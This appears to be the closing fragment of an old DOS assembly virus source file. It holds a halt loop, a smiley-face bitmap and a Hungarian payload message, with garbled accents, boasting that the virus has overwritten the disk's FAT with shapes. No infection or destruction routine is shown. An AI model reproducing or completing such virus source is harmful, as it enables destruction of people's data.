kie: cli
|
||
hlt
|
||
jmp kie
|
||
kiiras: db ' Haha,v<>rus van a g<>pben!!',0dh,0ah,'Ez egy eddig m<>g nem k<>zismert v<>rus. De hamarosan az lesz.'
|
||
db 0dh,0ah,'A neve egyszer<65>en t<>lt<6C>get<65> ',0dh,0ah,'Ezt a nev<65>t onnan kapta, hogy'
|
||
db ' felt<6C>lt<6C>geti a FAT-t<>bl<62>t k<>l<EFBFBD>nb<6E>z<EFBFBD> alakzatokkal.',0dh,0ah
|
||
db 'Ez m<>r meg is t<>rt<72>nt !!! ',0dh,0ah,0,0
|
||
graf: db 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32
|
||
db 32,01,01,01,01,01,01,32,32,01,01,01,01,01,01,32
|
||
db 01,32,32,32,32,32,32,01,01,32,32,32,32,32,32,01
|
||
db 01,32,01,32,32,01,32,01,01,32,01,32,32,01,32,01
|
||
db 01,32,32,32,32,32,32,01,01,32,32,32,32,32,32,01
|
||
db 01,32,01,01,01,01,32,01,01,32,01,01,01,01,32,01
|
||
db 32,01,32,32,32,32,01,32,32,01,32,32,32,32,01,32
|
||
db 32,32,01,01,01,01,32,32,32,32,01,01,01,01,32,32
|
||
kiirv: db 0
|
||
start ends
|
||
end
|
||
|